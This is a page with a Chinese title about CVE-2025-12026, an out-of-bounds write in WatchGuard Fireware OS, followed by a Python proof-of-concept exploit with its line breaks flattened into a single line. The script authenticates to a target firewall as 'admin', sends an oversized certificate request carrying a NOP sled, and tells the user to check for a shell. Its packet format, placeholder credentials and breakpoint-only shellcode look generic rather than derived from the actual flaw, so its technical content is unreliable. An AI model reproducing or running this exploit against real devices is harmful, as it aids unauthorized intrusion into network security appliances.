CVE-2025-12026 WatchGuard Fireware OS 证书请求命令越界写入漏洞

#!/usr/bin/env python3 """ CVE-2025-12026 PoC - WatchGuard Fireware OS Certificate Request OOB Write Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_malicious_cert_request(): """Generate malicious certificate request with oversized field""" # Craft command header header = b'\x00\x01\x00\x00' # Certificate request command ID # Create oversized field that triggers OOB write # The vulnerability exists in certificate field length validation oversized_field = b'A' * 1024 # Exceeds expected buffer size # Malicious payload to control execution flow shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 50 # Breakpoints for debugging # Construct the malicious certificate request packet packet = header + struct.pack('<I', len(oversized_field)) packet += oversized_field + shellcode return packet def send_exploit(target_ip, target_port=4118): """Send exploit payload to WatchGuard device""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: Authenticate with high-privilege credentials auth_packet = b'AUTH\x00\x01' + b'admin\x00' + b'hash_of_password' sock.send(auth_packet) response = sock.recv(1024) if b'OK' not in response: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Send malicious certificate request print("[*] Sending malicious certificate request...") exploit_payload = create_malicious_cert_request() sock.send(exploit_payload) # Step 3: Receive response response = sock.recv(4096) if b'ERROR' in response: print("[-] Exploit failed - target may be patched") return False print("[+] Exploit sent - check for shell") return True except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)